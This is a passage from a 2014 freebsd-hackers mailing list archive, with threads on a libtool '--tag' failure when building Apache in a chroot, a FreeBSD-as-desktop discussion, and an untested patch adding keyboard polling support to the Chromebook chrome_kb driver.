hand the build is on a 9.1 based or 10.0 based VM. if >> fails with the following error: >> >> gmake[3]: Entering directory >> `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' >> gmake[4]: Entering directory >> `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' >> libtool --silent --mode=link /usr/bin/gcc -g -O0 -L/usr/local/lib >> -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib >> -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la >> -static maketables.lo get.lo study.lo pcre.lo >> libtool: link: unable to infer tagged configuration >> libtool: link: specify a tag with `--tag' >> gmake[4]: *** [libpcre.la] Error 1 >> gmake[4]: Leaving directory >> `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' >> gmake[3]: *** [install-recursive] Error 1 >> >> Now if I go to that directory and run the command EXACTLY as show, I >> do indeed get >> that error, but if I run it by hand and as suggested, add "--tag=CC" >> then it succeeds. >> >> to make things more puzzling, the arguments that are run when the same >> chroot is running in an 8.0 system are slightly different. >> This also succeeds if I type it in by hand on the 10 based system. >> >> libtool --silent --mode=link /usr/bin/gcc -Wall -Wno-unused-parameter >> -nostdinc -isystem /usr/build/buildroot/tools/x86_gcc4.2.4/us >> r/include --sysroot /usr/build/buildroot/tools/x86_gcc4.2.4 -g -O0 >> -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib >> -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la >> -static >> maketables.lo get.lo study.lo pcre.lo >> >> I have two questions. >> >> 1/ given that apache has a maze of autoconf/libtool/configure files >> all over the place, many of which are autogenerated, >> where, in the original distribution would I find a file into which I >> can add the aforementionned --tag argument, >> or failing that, is there any environment variable or make argument to >> teh main build of apache that would result in that getting set.. >> >> 2/ does anyone have any idea why one would fail and the other succeed, >> when it's the same identical chroot (nfs mounted to different >> machines. I have set the UNAME_xxx variables and confirmed that they >> are working. The only environment differences in the chroots are the >> SUDO_USER and USER variables. (1003 vs 1005) Does anyone know how to >> find out WHY configure is acting different? hte config.lo files show >> that configure is deciding the same things, and yet, the command lines >> differ.. the whole -Wall section is missing from the one that fails. >> >> Julian (at witts end) > Greetings! > OK, I'm no expert. But I DO seem to be somewhat an expert in getting into > messes/trouble. That said; given all the errors I've had moving/testing > releng_8 v releng_9, the thing that immediately jumped out at me, was > CLANG. In other words; is it possible you're 8.x environment is different > enough to use (prefer) GCC, to CLANG? OK too wordy; what happens if you > try the same thing with the following in your make.conf(5)? > FAVORITE_COMPILER=gcc > Just a thought. But your reported issue has a familiar sound, and this > worked for me. > Hope this helps, and good luck! > > --Chris > > thanks.. it's not a compiler issue.. as far as I can tell. the errant compile is in a chroot. and the chroot is identical in both cases.. >> >> >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" >> > From owner-freebsd-hackers@FreeBSD.ORG Sat May 10 10:34:56 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8E05BB6B; Sat, 10 May 2014 10:34:56 +0000 (UTC) Received: from mailrelay009.isp.belgacom.be (mailrelay009.isp.belgacom.be [195.238.6.176]) by mx1.freebsd.org (Postfix) with ESMTP id 0823FDF9; Sat, 10 May 2014 10:34:55 +0000 (UTC) X-Belgacom-Dynamic: yes X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Am4GAEb/bVNR8aT4/2dsb2JhbABZgwZPS8VjAYEWF3SCJQEBBTocIxALGAklDyoeBi6IKgHROheOUgeEQAEDmUeBPZFLgzg7 Received: from 248.164-241-81.adsl-dyn.isp.belgacom.be (HELO kalimero.tijl.coosemans.org) ([81.241.164.248]) by relay.skynet.be with ESMTP; 10 May 2014 12:34:48 +0200 Received: from kalimero.tijl.coosemans.org (kalimero.tijl.coosemans.org [127.0.0.1]) by kalimero.tijl.coosemans.org (8.14.8/8.14.8) with ESMTP id s4AAYlLq001093; Sat, 10 May 2014 12:34:47 +0200 (CEST) (envelope-from tijl@FreeBSD.org) Date: Sat, 10 May 2014 12:34:47 +0200 From: Tijl Coosemans To: Julian Elischer Subject: Re: help needed with apache build on FreeBSD (9-ish) Message-ID: <20140510123447.1347ea9c@kalimero.tijl.coosemans.org> In-Reply-To: <536D44B4.3030708@freebsd.org> References: <536D44B4.3030708@freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: hackers@FreeBSD.ORG X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 10 May 2014 10:34:56 -0000 On Sat, 10 May 2014 05:12:20 +0800 Julian Elischer wrote: > I've been banging my head agains this for a couple of days now and I'm > ready to swallow my pride and look for help :-) > > For $DAYJOB we have an apache 2.2 installed and for reasons I can't go > into it can not be done via a port, so We are doing it manually. > > The build is done in a chroot, which contains a pretty much standard > FreeBSD install of vintage 9.0 (ish). > The standard apache build is run in the chroot and if the chroot is on > an 8.0 based (real) machine is succeeds. > If on the other hand the build is on a 9.1 based or 10.0 based VM. if > fails with the following error: > > gmake[3]: Entering directory > `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' > gmake[4]: Entering directory > `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' > libtool --silent --mode=link /usr/bin/gcc -g -O0 -L/usr/local/lib > -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib > -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la > -static maketables.lo get.lo study.lo pcre.lo > libtool: link: unable to infer tagged configuration > libtool: link: specify a tag with `--tag' > gmake[4]: *** [libpcre.la] Error 1 > gmake[4]: Leaving directory > `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' > gmake[3]: *** [install-recursive] Error 1 > > Now if I go to that directory and run the command EXACTLY as show, I > do indeed get > that error, but if I run it by hand and as suggested, add "--tag=CC" > then it succeeds. > > to make things more puzzling, the arguments that are run when the same > chroot is running in an 8.0 system are slightly different. > This also succeeds if I type it in by hand on the 10 based system. > > libtool --silent --mode=link /usr/bin/gcc -Wall -Wno-unused-parameter > -nostdinc -isystem /usr/build/buildroot/tools/x86_gcc4.2.4/us > r/include --sysroot /usr/build/buildroot/tools/x86_gcc4.2.4 -g -O0 > -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib > -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la > -static > maketables.lo get.lo study.lo pcre.lo > > I have two questions. > > 1/ given that apache has a maze of autoconf/libtool/configure files > all over the place, many of which are autogenerated, > where, in the original distribution would I find a file into which I > can add the aforementionned --tag argument, > or failing that, is there any environment variable or make argument to > teh main build of apache that would result in that getting set.. > > 2/ does anyone have any idea why one would fail and the other succeed, > when it's the same identical chroot (nfs mounted to different > machines. I have set the UNAME_xxx variables and confirmed that they > are working. The only environment differences in the chroots are the > SUDO_USER and USER variables. (1003 vs 1005) Does anyone know how to > find out WHY configure is acting different? hte config.lo files show > that configure is deciding the same things, and yet, the command lines > differ.. the whole -Wall section is missing from the one that fails. It's just a guess but I suspect "libtool" in this case is really /usr/local/bin/libtool. In link mode libtool does not use the linker you specify in the command line (/usr/bin/gcc in this case) but the one determined by the configure script. For /usr/local/bin/libtool that would be the configure script of the devel/libtool port. If that port has been built with a different compiler than you are using now that may be the cause. If this is the case then I think the best solution is to use the libtool generated by the configure script of apache. From owner-freebsd-hackers@FreeBSD.ORG Sat May 10 21:18:17 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 361C2423 for ; Sat, 10 May 2014 21:18:17 +0000 (UTC) Received: from digitaldaemon.com (digitaldaemon.com [162.217.114.50]) by mx1.freebsd.org (Postfix) with SMTP id E122BB19 for ; Sat, 10 May 2014 21:18:16 +0000 (UTC) Received: (qmail 3338 invoked by uid 89); 10 May 2014 21:11:35 -0000 Received: from digitaldaemon.com (HELO MacBookPro.local) (162.217.114.50) by digitaldaemon.com with SMTP; 10 May 2014 21:11:35 -0000 Message-ID: <536E9618.5070101@digitaldaemon.com> Date: Sat, 10 May 2014 17:11:52 -0400 From: Jan Knepper User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Tom Evans Subject: Re: Leaving the Desktop Market References: <20140401094044.GX44074@e-new.0x20.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 10 May 2014 21:18:17 -0000 On 4/1/14, 6:44 AM, Tom Evans wrote: > On Tue, Apr 1, 2014 at 10:40 AM, Lars Engels wrote: >> I'm a happy FreeBSD desktop user since 4.7. There are some edges, but I >> really like that I can can create a desktop the way _I_ want it and my >> mail client even allows me to break lines at 80 chars. Eat that, Apple >> Mail! ;-) :-) > I'm also a happy camper with FreeBSD and X. I use FreeBSD as my > primary work environment, running on a laptop. I use FreeBSD as my > HTPC, recording TV shows, transcoding content and streaming it to my > iStuff. I use FreeBSD as my primary desktop at home. > > You do need to make some smart choices about what hardware you buy > (when has it not been thus when you want to run an open OS?) The choices go for server hardware too. I have run a FreeBSD internet server on a T1 and later a 2xT1 for 14 years. When ever the hardware had to be upgraded I always checked the hardware compatibility list... > Better power management than just powerd is possible, you need to > disable any device you are using that you don't need, and tweak a few > things specific to your laptop - Alexander Motin got his laptop to > exceed his windows run time., with many tweaks. That is, if you care > about it - I don't, as I'm always docked or in a meeting room with > power. It would be great if how he accomplished that would be documented somewhere if it has not been done already. > I feel there is no need for FreeBSD to compete with Linux. The main > benefit of FreeBSD to me is that (almost) everything is documented, it > is documented in a coherent and consistent manner, there is only one > "flavour" of FreeBSD; if it is a FreeBSD system I know where the OS > conf lives, where the userland conf lives. Agreed! > To compete with Linux desktop OS would take a huge amount of polish > that is just not justified for users like me, I'm very happy with the > amount of polish that we currently have (thank you Xorg team for > NEW_XORG!). FreeBSD has enough in it that other projects (PC-BSD) can > use FreeBSD as a base and provide that polish. Agreed! -- ManiaC++ Jan Knepper The Power to Serve: www.freebsd.org But as for me and my household, we shall use Mozilla... www.mozilla.org Get legal - Get OpenOffice.org... www.openoffice.org Charton Heston: "Mr. Clinton, when what you say is wrong, it's a mistake. When you know it's wrong, it's a lie. Remember?" From owner-freebsd-hackers@FreeBSD.ORG Sun May 11 14:46:49 2014 Return-Path: Delivered-To: hackers@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 46D83198; Sun, 11 May 2014 14:46:49 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 2502228A5; Sun, 11 May 2014 14:46:48 +0000 (UTC) Received: from jre-mbp.elischer.org (ppp121-45-232-70.lns20.per1.internode.on.net [121.45.232.70]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s4BEkb0G025253 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Sun, 11 May 2014 07:46:40 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <536F8D48.9090501@freebsd.org> Date: Sun, 11 May 2014 22:46:32 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Tijl Coosemans Subject: Re: help needed with apache build on FreeBSD (9-ish) References: <536D44B4.3030708@freebsd.org> <20140510123447.1347ea9c@kalimero.tijl.coosemans.org> In-Reply-To: <20140510123447.1347ea9c@kalimero.tijl.coosemans.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: hackers@FreeBSD.ORG X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 11 May 2014 14:46:49 -0000 On 5/10/14, 6:34 PM, Tijl Coosemans wrote: > On Sat, 10 May 2014 05:12:20 +0800 Julian Elischer wrote: >> I've been banging my head agains this for a couple of days now and I'm >> ready to swallow my pride and look for help :-) >> >> For $DAYJOB we have an apache 2.2 installed and for reasons I can't go >> into it can not be done via a port, so We are doing it manually. >> >> The build is done in a chroot, which contains a pretty much standard >> FreeBSD install of vintage 9.0 (ish). >> The standard apache build is run in the chroot and if the chroot is on >> an 8.0 based (real) machine is succeeds. >> If on the other hand the build is on a 9.1 based or 10.0 based VM. if >> fails with the following error: >> >> gmake[3]: Entering directory >> `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' >> gmake[4]: Entering directory >> `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' >> libtool --silent --mode=link /usr/bin/gcc -g -O0 -L/usr/local/lib >> -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib >> -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la >> -static maketables.lo get.lo study.lo pcre.lo >> libtool: link: unable to infer tagged configuration >> libtool: link: specify a tag with `--tag' >> gmake[4]: *** [libpcre.la] Error 1 >> gmake[4]: Leaving directory >> `/usr/build/buildroot/build/cloudcc/build_x86_64/httpd-2.2.11/srclib/pcre' >> gmake[3]: *** [install-recursive] Error 1 >> >> Now if I go to that directory and run the command EXACTLY as show, I >> do indeed get >> that error, but if I run it by hand and as suggested, add "--tag=CC" >> then it succeeds. >> >> to make things more puzzling, the arguments that are run when the same >> chroot is running in an 8.0 system are slightly different. >> This also succeeds if I type it in by hand on the 10 based system. >> >> libtool --silent --mode=link /usr/bin/gcc -Wall -Wno-unused-parameter >> -nostdinc -isystem /usr/build/buildroot/tools/x86_gcc4.2.4/us >> r/include --sysroot /usr/build/buildroot/tools/x86_gcc4.2.4 -g -O0 >> -L/usr/build/buildroot/tools/x86_gcc4.2.4/usr/lib >> -L/usr/build/buildroot/tools/x86_gcc4.2.4/opt/pixel8/lib -o libpcre.la >> -static >> maketables.lo get.lo study.lo pcre.lo >> >> I have two questions. >> >> 1/ given that apache has a maze of autoconf/libtool/configure files >> all over the place, many of which are autogenerated, >> where, in the original distribution would I find a file into which I >> can add the aforementionned --tag argument, >> or failing that, is there any environment variable or make argument to >> teh main build of apache that would result in that getting set.. >> >> 2/ does anyone have any idea why one would fail and the other succeed, >> when it's the same identical chroot (nfs mounted to different >> machines. I have set the UNAME_xxx variables and confirmed that they >> are working. The only environment differences in the chroots are the >> SUDO_USER and USER variables. (1003 vs 1005) Does anyone know how to >> find out WHY configure is acting different? hte config.lo files show >> that configure is deciding the same things, and yet, the command lines >> differ.. the whole -Wall section is missing from the one that fails. > It's just a guess but I suspect "libtool" in this case is really > /usr/local/bin/libtool. In link mode libtool does not use the linker > you specify in the command line (/usr/bin/gcc in this case) but the one > determined by the configure script. For /usr/local/bin/libtool that > would be the configure script of the devel/libtool port. If that port > has been built with a different compiler than you are using now that > may be the cause. > > If this is the case then I think the best solution is to use the > libtool generated by the configure script of apache. > thanks for your thoughts.. theoreticall ythe exact same libtool should be run, as it's fully specified (full path). remember this is the same directories in a chroot, but mounted on two different machines. somehow the tools within the chroot can sense whether they mounted on the 8.0 machine or on the 9.1 machine, and act differntly despite the fact that uname returns the same info on both.. Julian From owner-freebsd-hackers@FreeBSD.ORG Sun May 11 22:34:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3A0BADDA for ; Sun, 11 May 2014 22:34:04 +0000 (UTC) Received: from mail-wi0-x229.google.com (mail-wi0-x229.google.com [IPv6:2a00:1450:400c:c05::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CE5BB2C21 for ; Sun, 11 May 2014 22:34:03 +0000 (UTC) Received: by mail-wi0-f169.google.com with SMTP id hi2so4691332wib.4 for ; Sun, 11 May 2014 15:34:02 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:from:date:message-id:subject:to:content-type; bh=VzIGs17WpSYt41B77GMDKlK22vEPOccxYqD/mMBz+Jg=; b=XJxYjG5CSlmaArzJmbRBTj3x799wxZG1gA8fl5Frz5Dvlf3woQQnhPeuTEM/kWgBKu YUXoNLaiv84V4tK0wDKTfYR8s5rrEeZspsD0qoVsOnxEhtTEXGcNk/Xxrm12jQy0pG4n zMoI8AUKbX04MihTrfTWD7AWCbkcHHjkOhMKxvtHCorNOnUOxaWB8/SOtv311WDysOF1 2D/FtoLoeOesCkM8gST+b/IA1n86uuR89V29JnHtxtW7/sraawX9uStK1qq2/QSKTJtu ZGYUnga+DymhpAdL8M5X5yIN/hRvDk2WcmAnVakmvUlOc222j6N5uahT5twESNi6uqhk TrDQ== X-Received: by 10.180.104.197 with SMTP id gg5mr12633757wib.2.1399847642109; Sun, 11 May 2014 15:34:02 -0700 (PDT) MIME-Version: 1.0 Received: by 10.194.163.231 with HTTP; Sun, 11 May 2014 15:33:42 -0700 (PDT) From: Maxim Ignatenko Date: Sun, 11 May 2014 23:33:42 +0100 Message-ID: Subject: Keyboard drivers, polling vs. non-polling mode To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 11 May 2014 22:34:04 -0000 Hello, I'm trying trying to get keyboard working in DDB on HP Chromebook 11 (ARM). br@ said that it doesn't work there because polling mode is not implemented yet. Where can I read about the difference between polling and non-polling modes (and about keyboard drivers in general)? sys/dev/kbd/kbdreg.h describes some structures and method signatures, but I have no clue what is the expected behaviour of those methods. My current guess is that in polling mode keyboard driver just queues up all the input coming from keyboard and then gives it to consumer upon request, while in non-polling mode it invokes some callback instead of queueing. But I cannot find any documentation to confirm or disprove that. -- Best regards, Max From owner-freebsd-hackers@FreeBSD.ORG Mon May 12 05:40:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8EDB0A77 for ; Mon, 12 May 2014 05:40:31 +0000 (UTC) Received: from mail.turbocat.net (mail.turbocat.net [IPv6:2a01:4f8:d16:4514::2]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 530C02A6F for ; Mon, 12 May 2014 05:40:31 +0000 (UTC) Received: from laptop015.home.selasky.org (cm-176.74.213.204.customer.telag.net [176.74.213.204]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mail.turbocat.net (Postfix) with ESMTPSA id B3D121FE029; Mon, 12 May 2014 07:40:29 +0200 (CEST) Message-ID: <53705F02.4040507@selasky.org> Date: Mon, 12 May 2014 07:41:22 +0200 From: Hans Petter Selasky User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Maxim Ignatenko , freebsd-hackers@freebsd.org Subject: Re: Keyboard drivers, polling vs. non-polling mode References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 12 May 2014 05:40:31 -0000 On 05/12/14 00:33, Maxim Ignatenko wrote: > Hello, > > I'm trying trying to get keyboard working in DDB on HP Chromebook 11 (ARM). > br@ said that it doesn't work there because polling mode is not implemented yet. > Where can I read about the difference between polling and non-polling > modes (and about keyboard drivers in general)? > sys/dev/kbd/kbdreg.h describes some structures and method signatures, > but I have no clue what is the expected behaviour of those methods. > > My current guess is that in polling mode keyboard driver just queues > up all the input coming from keyboard and then gives it to consumer > upon request, while in non-polling mode it invokes some callback > instead of queueing. But I cannot find any documentation to confirm or > disprove that. > Hi, Maybe you get some clues from looking at /sys/dev/usb/input/ukbd.c regarding polling mode. --HPS From owner-freebsd-hackers@FreeBSD.ORG Tue May 13 08:42:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 16824A23 for ; Tue, 13 May 2014 08:42:07 +0000 (UTC) Received: from mail.machdep.com (mail.machdep.com [195.91.211.41]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id BE8BC2CBC for ; Tue, 13 May 2014 08:42:06 +0000 (UTC) Received: from localhost ([127.0.0.1] helo=machdep.com) by mail.machdep.com with smtp (Exim 4.82 (FreeBSD)) (envelope-from ) id 1Wk8Fs-000IWy-VX; Tue, 13 May 2014 12:40:09 +0400 Received: by machdep.com (nbSMTP-1.00) for uid 1001 br@machdep.com; Tue, 13 May 2014 12:40:08 +0400 (MSK) Date: Tue, 13 May 2014 12:40:08 +0400 From: Ruslan Bukin To: Maxim Ignatenko Subject: Re: Keyboard drivers, polling vs. non-polling mode Message-ID: <20140513084008.GA71115@machdep.com> References: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="X1bOJ3K7DJ5YkBrT" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 13 May 2014 08:42:07 -0000 --X1bOJ3K7DJ5YkBrT Content-Type: text/plain; charset=utf-8 Content-Disposition: inline On Sun, May 11, 2014 at 11:33:42PM +0100, Maxim Ignatenko wrote: > Hello, > > I'm trying trying to get keyboard working in DDB on HP Chromebook 11 (ARM). > br@ said that it doesn't work there because polling mode is not implemented yet. > Where can I read about the difference between polling and non-polling > modes (and about keyboard drivers in general)? > sys/dev/kbd/kbdreg.h describes some structures and method signatures, > but I have no clue what is the expected behaviour of those methods. > > My current guess is that in polling mode keyboard driver just queues > up all the input coming from keyboard and then gives it to consumer > upon request, while in non-polling mode it invokes some callback > instead of queueing. But I cannot find any documentation to confirm or > disprove that. > Chrome Embedded Controller (EC) provides interrupt (KB_GPIO_INT pin, active low) reporting that there are pending data and you need to read the data using ec_command(..). After all data was read, pin comes to 1 (not active). We have no interrupts in KDB, so you have to check pin status manually and if status == 0 (active) then read new data. Probably you can start with patch attached (I did't tested). -Ruslan --X1bOJ3K7DJ5YkBrT Content-Type: text/plain; charset=utf-8 Content-Disposition: attachment; filename="patch.polling" Index: sys/arm/samsung/exynos/chrome_kb.c =================================================================== --- sys/arm/samsung/exynos/chrome_kb.c (revision 265947) +++ sys/arm/samsung/exynos/chrome_kb.c (working copy) @@ -131,6 +131,8 @@ int rows; int cols; device_t dev; + device_t gpio_dev; + struct thread *sc_poll_thread; uint8_t *scan_local; @@ -331,6 +333,7 @@ uint16_t key; int oldbit; int newbit; + int status; sc = kbd->kb_data; @@ -347,7 +350,11 @@ }; if (sc->sc_flags & CKB_FLAG_POLLING) { - /* TODO */ + GPIO_PIN_GET(sc->gpio_dev, KB_GPIO_INT, &status); + if (status == 0) { + ec_command(EC_CMD_MKBP_STATE, sc->scan, sc->cols, + sc->scan, sc->cols); + } }; for (i = 0; i < sc->cols; i++) { @@ -710,6 +717,12 @@ if ((error = parse_dts(sc)) != 0) return error; + sc->gpio_dev = devclass_get_device(devclass_find("gpio"), 0); + if (sc->gpio_dev == NULL) { + device_printf(sc->dev, "cant find gpio_dev\n"); + return (1); + } + #if 0 device_printf(sc->dev, "Keyboard matrix [%dx%d]\n", sc->cols, sc->rows); --X1bOJ3K7DJ5YkBrT-- From owner-freebsd-hackers@FreeBSD.ORG Tue May 13 10:18:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 95C1E642 for ; Tue, 13 May 2014 10:18:20 +0000 (UTC) Received: from mail-wi0-x22b.google.com (mail-wi0-x22b.google.com [IPv6:2a00:1450:400c:c05::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 32BA725CB for ; Tue, 13 May 2014 10:18:20 +0000 (UTC) Received: by mail-wi0-f171.google.com with SMTP id hm4so5939097wib.16 for ; Tue, 13 May 2014 03:18:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=YCEgnFuwy6XreRcfgNJRxLOJZb6GTCEgXwsh4ELXOKI=; b=UVKNDTf7o3llSu9COsJymnSxzZ3dXufYRmsvVMBl+urYwvf0Yz7alcZ85FE60lGvsZ utjJgOybKWnpSe0RzIjqJyVu/q1rc2L/YfTnhcHkypKhqIbNgftksHNuF/3O+k52UDSk c8KalTfI959YyP/mBe1YzD+ah0L9r3IRG2bwOTQZIE0tyxltdTTwF/466QvzBwWMmwkJ PvsCbXcNETxRIOQGi8oEbQroSTmhf/xLBkEjUVKkMsiaLzHHYLNLSM1wSEN5esDj7ZMx jp9agUTfOY3VPyZ5ms/97tgDdrc9Sq/HaL+R3WPydRq6f4mvdNPLrbiEli9CcYH5vMfm QFWQ== X-Received: by 10.180.11.137 with SMTP id q9mr20637609wib.13.1399976298538; Tue, 13 May 2014 03:18:18 -0700 (PDT) MIME-Version: 1.0 Received: by 10.194.163.231 with HTTP; Tue, 13 May 2014 03:17:58 -0700 (PDT) In-Reply-To: <20140513084008.GA71115@machdep.com> References: <20140513084008.GA71115@machdep.com> From: Maxim Ignatenko Date: Tue, 13 May 2014 11:17:58 +0100 Message-ID: Subject: Re: Keyboard drivers, polling vs. non-polling mode To: Ruslan Bukin Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 13 May 2014 10:18:20 -0000 On 13 May 2014 09:40, Ruslan Bukin wrote: > On Sun, May 11, 2014 at 11:33:42PM +0100, Maxim Ignatenko wrote: >> Hello, >> >> I'm trying trying to get keyboard working in DDB on HP Chromebook 11 (ARM). >> br@ said that it doesn't work there because polling mode is not implemented yet. >> Where can I read about the difference between polling and non-polling >> modes (and about keyboard drivers in general)? >> sys/dev/kbd/kbdreg.h describes some structures and method signatures, >> but I have no clue what is the expected behaviour of those methods. >> >> My current guess is that in polling mode keyboard driver just queues >> up all the input coming from keyboard and then gives it to consumer >> upon request, while in non-polling mode it invokes some callback >> instead of queueing. But I cannot find any documentation to confirm or >> disprove that. >> > > Chrome Embedded Controller (EC) provides interrupt (KB_GPIO_INT pin, active low) > reporting that there are pending data and you need to read the data using > ec_command(..). After all data was read, pin comes to 1 (not active). > > We have no interrupts in KDB, so you have to check pin status manually and > if status == 0 (active) then read new data. > > Probably you can start with patch attached (I did't tested). Thanks, I've tried something like that, except with 